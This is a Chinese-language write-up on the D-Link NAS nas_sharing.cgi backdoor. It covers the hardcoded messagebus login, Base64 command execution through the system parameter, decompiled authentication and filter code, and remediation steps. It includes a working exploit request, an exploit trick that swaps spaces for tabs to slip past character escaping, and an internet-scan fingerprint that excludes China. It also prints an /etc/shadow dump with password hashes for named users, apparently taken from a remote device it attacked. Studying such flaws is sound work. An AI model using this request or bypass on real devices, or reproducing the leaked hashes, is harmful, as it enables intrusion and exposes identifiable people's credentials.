摘要
在D-LinkNAS中多个产品的/cgi-bin/nas_sharing.cgi脚本中存在硬编码后门漏洞(用户名messagebus,密码为空),system参数通过Base64编码可以执行系统命令威胁者可组合利用这两个漏洞通过HTTP GET请求将Base64编码的命令添加到system参数从而在系统上执行任意命令,成功利用可能导致未授权访问敏感信息、修改系统配置或拒绝服务等。
影响范围
DNS-320L 版本1.11、版本1.03.0904.2013、版本1.01.0702.2013
DNS-325 版本1.01
DNS-327L 版本1.09,版本1.00.0409.2013
DNS-340L 版本1.08
环境
虚拟机 -> IOT-Research
反汇编分析工具 -> IDA_Pro 9.0
https://media.dlink.eu/support/products/dns/dns-340l/driver_software/dns-340l_fw_reva1_1-08_eu_multi_20180731.ziphttps://support.dlink.com/resource/products/dns-320l/REVA/DNS-320L_FIRMWARE_1.03B08.ZIP指纹 -> _fid=“hWN+yVVhLzKJaLkd/ITHpA==” && Country !=“CN”
复现过程
简单测试
poc -> https://github.com/Chocapikk/CVE-2024-3273↗


GET /cgi-bin/nas_sharing.cgi?cmd=15&passwd=&system=aWQ=&user=messagebus HTTP/1.1Host: xxx.xxx.xxx.xxxAccept: application/xml, text/xml, */*; q=0.01Referer: http://xxx.xxx.xxx.xxx/X-Requested-With: XMLHttpRequestAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36Origin: http://xxx.xxx.xxx.xxxAccept-Language: zh-CN,zh;q=0.9返回id的执行内容就算成功了,也就是system={{base64_enc(cmd)}}
分析固件
我们对将DLINK_DNS-340L_1.08b01(1.01.0502.2018)进行binwalk解包
binwalk -Me DLINK_DNS-340L_1.08b01(1.01.0502.2018)使用exp攻击后,根据远程目标靶机上返回的pwd值,确定目标运行路径是/var/www/cgi-bin也就是说我们攻击入口是/var/www/cgi-bin/nassharing.cgi,对应固件中的squashfs-root/cgi/nassharing.cgi ,squashfs是它应用系统的挂载点
int cgiMain(){ int v0; // r5 int v1; // r3 int v3; // [sp+0h] [bp-20h] BYREF int v4; // [sp+4h] [bp-1Ch] char nptr[4]; // [sp+8h] [bp-18h] BYREF int v6; // [sp+Ch] [bp-14h]
v3 = 0; v4 = 0; *(_DWORD *)nptr = 0; v6 = 0; ((void (__fastcall *)(const char *, int *, int))cgiFormString)("cmd", &v3, 8); v0 = strtol((const char *)&v3, 0, 10); cgiFormString("dbg", nptr, 8, v1, v3, v4); if ( nptr[0] ) dword_3E4FC = strtol(nptr, 0, 10); switch ( v0 ) { case 0: sub_196AC(); break; case 1: sub_12C50(); break; ..... case 13: sub_14DB4(); break; case 14: sub_151B0(); break; case 15: sub_19108(); break; case 16: sub_19230(); break; ...... case 75: sub_1AC74(); break; case 76: sub_1B4DC(); break; case 77: sub_1AEC8(); break; case 78: sub_1AD9C(); break; case 80: sub_1B2D0(); break; case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: sub_1B604(v0); break; ...... break; case 98: sub_1C790(); break; case 99: sub_1C9CC(); break; case 100: sub_1CD24(); break; ...... default: sub_128D0(); break; } return 0;}代码从表单中获取了传入cmd和dbg的值,并对cmd的值进行了判断,也就是我们POC中传入的”cmd=15”
我们跟进case 15对应的sub_19108()函数
int sub_19108(){ int v0; // r3 int v1; // r3 int v2; // r3 int v3; // r0 int v5; // r3 _DWORD v6[1024]; // [sp+0h] [bp-4008h] BYREF _BYTE s[4096]; // [sp+1000h] [bp-3008h] BYREF char v8[4096]; // [sp+2000h] [bp-2008h] BYREF char command[4104]; // [sp+3000h] [bp-1008h] BYREF
memset(v6, 0, sizeof(v6)); memset(s, 0, sizeof(s)); memset(v8, 0, sizeof(v8)); memset(command, 0, 0x1000u); ((void (__fastcall *)(const char *, _DWORD *, int, int))cgiFormString)("user", v6, 4096, v0); cgiFormString("passwd", s, 4096, v1, v6[0], v6[1]); v2 = LOBYTE(v6[0]); if ( !LOBYTE(v6[0]) ) { v2 = s[0]; if ( !s[0] ) { ((void (__fastcall *)(const char *, _DWORD *, int, _DWORD))cgiFormString)("id1", v6, 4096, s[0]); cgiFormString("id2", s, 4096, v5, v6[0], v6[1]); } } cgiFormString("system", v8, 4096, v2, v6[0], v6[1]); // 获取system参数 if ( !sub_1E1CC(v6, s) ) // 身份验证检查 return sub_128D0(); // 验证失败的处理 strlen(v8); sub_1DD88((u_char *)command, v8); // base64解码v8传入command 这里应该是有错误的,strlen应该作为一个参数传入到这个函数中 fix_path_special_char(command); // 修复路径特殊字符 v3 = system(command); // 执行系统命令 return sub_12998(v3); // 返回执行结果}可以看到,代码从CGI表单获取”user”和”passwd”字段传入到v6和s。如果都为空就从id1和id2中获取。之后传入sub_1E1CC认证
int sub_128D0(){ int v0; // r4 - XML文档指针 int v1; // r7 - 根节点指针 int v2; // r6 - 子节点指针 char *format; // [sp+0h] [bp-20h] BYREF - 输出的XML字符串 int v5; // [sp+4h] [bp-1Ch] BYREF - XML字符串长度 v0 = xmlNewDoc("1.0"); // 创建XML文档,版本1.0 v1 = xmlNewNode(0, "config"); // 创建根节点"config" xmlDocSetRootElement(v0, v1); // 设置根节点 v2 = xmlNewNode(0, "nas_sharing"); // 创建"nas_sharing"节点 xmlAddChild(v1, v2); // 添加到根节点 xmlNewChild(v2, 0, "auth_state", "0"); // 添加子节点"auth_state"值为"0" xmlDocDumpMemoryEnc(v0, &format, &v5, "UTF-8"); // 将XML转为UTF-8字符串 fprintf((FILE *)cgiOut, format); // 输出到CGI响应 free(format); // 释放XML字符串内存 return free_xml_memory(v0); // 释放XML文档内存}可见如果passwd和user认证失败会返回一个xml,其中auth_state为0,回显包如下
HTTP/1.1 200 OKContent-Language: enP3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'Date: Mon, 27 Oct 2025 08:26:00 GMTServer: lighttpd/1.4.28Content-Type: text/xml; charset=utf-8Content-Length: 111
<?xml version="1.0" encoding="UTF-8" ?><config><nas_sharing><auth_state>0</auth_state></nas_sharing></config>而如果认证成功则会进入sub_12998并回显一个auth_state为1的xml。我们跟进sub_1E1CC认证函数
int __fastcall sub_1E1CC(const char *a1, const char *a2){ const char *v4; // r7 - 遍历特殊用户名的指针 const char *v5; // t1 - 临时存储当前特殊用户名 int result; // r0 - 函数返回值 FILE *v7; // r5 - shadow文件指针 struct passwd *v8; // r0 - 从shadow文件读取的用户信息 struct passwd *v9; // r6 - 存储匹配的用户信息 const char *v10; // r0 - 密码验证结果 char v11[4096]; // [sp+0h] [bp-1118h] BYREF - Base64解码后的密码缓冲区 char s[128]; // [sp+1000h] [bp-118h] BYREF - 存储shadow文件中的密码哈希 char dest[152]; // [sp+1080h] [bp-98h] BYREF - 处理密码的临时缓冲区
// 初始化所有缓冲区为0 memset(s, 0, sizeof(s)); // 清空密码哈希缓冲区 memset(dest, 0, 0x80u); // 清空密码处理缓冲区 memset(v11, 0, sizeof(v11)); // 清空Base64解码缓冲区
v4 = "dbg"; // 指向特殊用户名列表的起始位置(假设"dbg"是第一个特殊用户)
while ( 1 )// 循环检查特殊用户名 { v5 = (const char *)*((_DWORD *)v4 + 1); // 获取当前特殊用户名 v4 += 4; // 移动到下一个特殊用户条目 result = strcmp(a1, v5); // 比较输入用户名与特殊用户名 if ( !result ) // 如果匹配成功 break; // 跳出循环,返回成功 if ( v4 == (const char *)off_2BCF0 ) // off_2BCF0可能是特殊用户列表的结束标记 { if ( *a2 ) // 如果密码不为空 { _b64_pton(a2, (u_char *)v11, 0x1000u);// 对Base64编码的密码进行解码 if ( dword_3E4FC )// 如果调试模式开启,输出密码信息 { sub_12878("pwd [%s]\n", a2); // 输出原始密码(Base64) sub_12878("pwd decode[%s]\n", v11); // 输出解码后的密码 } } v7 = (FILE *)fopen64("/etc/shadow", "r");// 打开系统shadow文件读取用户密码信息 do// 循环读取shadow文件中的用户条目 { v8 = fgetpwent(v7); // 获取下一个用户密码条目 v9 = v8; // 保存当前用户条目 if ( !v8 ) // 如果到达文件末尾(用户不存在) return 0; // 返回验证失败 } while ( strcmp(v8->pw_name, a1) ); // 继续查找直到找到匹配的用户名 strncpy(s, v9->pw_passwd, 0x80u);// 复制找到用户的密码哈希到缓冲区s fclose(v7); // 关闭shadow文件 strncpy(dest, v11, 0x80u);// 复制解码后的密码到dest缓冲区 v10 = (const char *)sub_1E160((int)dest, s);// 调用密码验证函数sub_1E160进行密码验证 return strncmp(v10, s, 0x80u) == 0;// 比较验证结果与原始密码哈希,返回比较结果 } } return result;// 如果是特殊用户,直接返回验证成功}首先检查用户名是否在预定义的特殊用户列表中,如果是则直接返回验证,如果不是就Base64解码传入的密码,读取系统/etc/shadow文件,查找对应用户名的密码哈希,使用sub_1E160函数验证密码,比较验证结果与存储的哈希值。
.rodata:0002BCDC aDbg DCB "dbg",0 ; DATA XREF: cgiMain+48↑o.rodata:0002BCDC ; .text:off_1DD80↑o ....rodata:0002BCE0 off_2BCE0 DCD aRoot ; DATA XREF: sub_1E1CC+4C↑r.rodata:0002BCE0 ; "root".rodata:0002BCE4 DCD aNobody ; "nobody".rodata:0002BCE8 DCD aFtp ; "ftp".rodata:0002BCEC DCD aSqueezecenter ; "squeezecenter".rodata:0002BCF0 off_2BCF0 DCD aSshd ; DATA XREF: sub_1E324+4↑o.rodata:0002BCF0 ; .text:off_1E3DC↑o.rodata:0002BCF0 ; "sshd".rodata:0002BCF4 off_2BCF4 DCD aRoot ; DATA XREF: sub_1E324+1C↑r.rodata:0002BCF4 ; "root".rodata:0002BCF8 DCD aNobody ; "nobody".rodata:0002BCFC DCD aFtp ; "ftp".rodata:0002BD00 DCD aSqueezecenter ; "squeezecenter".rodata:0002BD04 DCD aSshd ; "sshd".rodata:0002BD08 ; const char a08x[]我们这里可以看到即使是特殊用户列表,指针也会调用sub_1E324
int __fastcall sub_1E324(char *s1, const char *a2){ char **v2; // r4 // 定义字符串指针数组 const char *v5; // t1 // 临时字符串指针 int result; // r0 // 函数返回值 FILE *v7; // r6 // 文件指针 struct passwd *v8; // r0 // 密码结构体指针 struct passwd *v9; // r4 // 密码结构体指针副本 const char *v10; // r0 // 字符串指针 char v11[80]; // [sp+0h] [bp-B8h] BYREF // 缓冲区,存储密码哈希 char dest[104]; // [sp+50h] [bp-68h] BYREF // 缓冲区,存储输入密码
v2 = off_2BCF0; // 初始化指针数组 while ( 1 ) // 开始循环 { v5 = v2[1]; // 获取数组中的下一个字符串 ++v2; // 指针移动到下一个位置 result = strcmp(s1, v5); // 比较输入字符串和数组中的字符串 if ( !result ) // 如果字符串匹配 break; // 跳出循环 if ( v2 == &off_2BD04 ) // 如果已遍历完数组 { v7 = (FILE *)fopen64("/etc/shadow", "r"); // 打开shadow文件 while ( 1 ) // 开始循环读取shadow文件 { v8 = fgetpwent(v7); // 读取下一个密码条目 v9 = v8; // 保存密码条目 if ( !v8 ) // 如果读取失败或文件结束 break; // 跳出循环 if ( !strcmp(v8->pw_name, s1) ) // 如果找到匹配的用户名 { strcpy(v11, v9->pw_passwd); // 复制密码哈希到缓冲区 fclose(v7); // 关闭shadow文件 strcpy(dest, a2); // 复制输入密码到缓冲区 v10 = (const char *)sub_1E160((int)dest, v11); // 调用密码加密函数 return strcmp(v10, v11) == 0; // 比较加密后的密码与存储的哈希 } } return 0; // 未找到用户返回0 } } return result; // 返回字符串比较结果}sub_1E1CC和sub_1E324均调用了sub_1E160获取密码的哈希
Linux /etc/shadow 文件只有 root 用户拥有读权限格式如下
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段admin:$1$$gve3Uka.V1oDuclEp0W.g1:0:0:99999:7:::nobody:pACwI1fCXYNw6:0:0:99999:7:::squeezecenter:$1$$o7vIitnZu4MHlaR5S90M/1:15460:0:99999:7:::root:$1$$qRPK7m23GJusamGpoGLby/:14746:0:99999:7:::messagebus:$1$$qRPK7m23GJusamGpoGLby/:19060:0:99999:7:::HramAdmin:$1$$gve3Uka.V1oDuclEp0W.g1:19268:0:99999:7:::IrinaZabolotnaya:$1$$A1IGgeA6wZYlyzfzp9sV60:19801:0:99999:7:::Navrotskaya:$1$$PepcYs8FT7wT54SJjROql0:20070:0:99999:7:::Sharkov:$1$$8w9mpx4vnRY08fRK/ZN0b/:20070:0:99999:7:::Krikota:$1$$RRfa3MMgwtTOsb0TrxxHu/:20070:0:99999:7:::Foto:$1$$.YDIniGthJtsdQXpVvVtA/:20179:0:99999:7:::这里我们messagebus的密码和root一样都是空密码,也就是说,只要我们用户名是messagebus或root并将密码置空就可以执行将system表单接受的v8传入command,再经过fix_path_special_char处理后执行并返回结果。
cgiFormString("system", v8, 4096, v2, v6[0], v6[1]); // 获取system参数 if ( !sub_1E1CC(v6, s) ) // 身份验证检查 return sub_128D0(); // 验证失败的处理 strlen(v8); sub_1DD88((u_char *)command, v8); // base64解码v8传入command fix_path_special_char(command); // 修复路径特殊字符 v3 = system(command); // 执行系统命令 return sub_12998(v3); // 返回执行结果在实际测试中我们发现如果用户名是root或执行的命令中包含空格会执行失败,而exp中不会,检查exp相关代码
command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')我们可以看到exp将空格以制表符代替,绕过了空格过滤,我们猜测fix_path_special_char就是相关的过滤函数
我们通过ldd命令查找到usrlib/libmmf.so
objdump -T libmmf.so | grep fix_path_special_char>00003a88 g DF .text 00000288 Base fix_path_special_charchar *__fastcall fix_path_special_char(char *a1){ char *v2; // r5 char *v3; // r6 int v4; // r3 bool v5; // zf char *v6; // r2 char *result; // r0 char v8[1048]; // [sp+0h] [bp-418h] BYREF
memset(v8, 0, 0x400u); v2 = strchr(a1, 36); if ( v2 ) goto LABEL_2; v3 = strchr(a1, 96); if ( v3 ) goto LABEL_26; v2 = strchr(a1, 35); if ( v2 ) goto LABEL_28; if ( strchr(a1, 37) ) goto LABEL_26; v3 = strchr(a1, 94); if ( v3 ) { v2 = 0; v3 = 0; goto LABEL_3; } v2 = strchr(a1, 38); if ( v2 ) goto LABEL_28; v3 = strchr(a1, 40); if ( v3 ) goto LABEL_26; v2 = strchr(a1, 41); if ( v2 ) goto LABEL_28; if ( strchr(a1, 43) ) goto LABEL_26; if ( strchr(a1, 123) || (v2 = strchr(a1, 125)) != 0 ) {LABEL_2: v2 = 0; v3 = 0; goto LABEL_3; } v3 = strchr(a1, 59); if ( v3 ) {LABEL_26: v3 = 0; goto LABEL_3; } v2 = strchr(a1, 91); if ( v2 ) goto LABEL_28; v3 = strchr(a1, 93); if ( v3 ) goto LABEL_26; v2 = strchr(a1, 39); if ( v2 ) {LABEL_28: v2 = 0; goto LABEL_3; } v3 = strchr(a1, 61); if ( v3 ) goto LABEL_26; result = strchr(a1, 32); if ( !result ) return result; v2 = 0;LABEL_3: while ( (unsigned int)v2 < strlen(a1) ) { v4 = (unsigned __int8)v2[(_DWORD)a1]; v5 = v4 == 36; if ( v4 != 36 ) v5 = v4 == 96; if ( v5 || v4 == 35 || v4 == 37 || v4 == 94 || v4 == 38 || v4 == 40 || v4 == 41 || v4 == 43 || v4 == 123 || v4 == 125 || v4 == 59 || v4 == 91 || v4 == 93 || v4 == 39 || v4 == 61 || v4 == 32 ) { v6 = &v8[(_DWORD)v3++ + 1024]; *(v6 - 1024) = 92; } ++v2; v8[(_DWORD)v3++] = v4; } return strcpy(a1, v8);}检测特殊字符:检查输入字符串中是否包含以下特殊字符并添加\转义处理
$ (36), ` (96), # (35), % (37), ^ (94), & (38), ( (40), ) (41), + (43), { (123), } (125), ; (59), [ (91), ] (93), ’ (39), = (61), 空格 (32)
对于root执行失败的情况,是因为它在dbg对应的特殊用户列表中,直接跳过检查返回0了
修复方案
替换固件
使用漏洞或者UART Console修改messagebus的密码
在固件中将messagebus的指针去掉
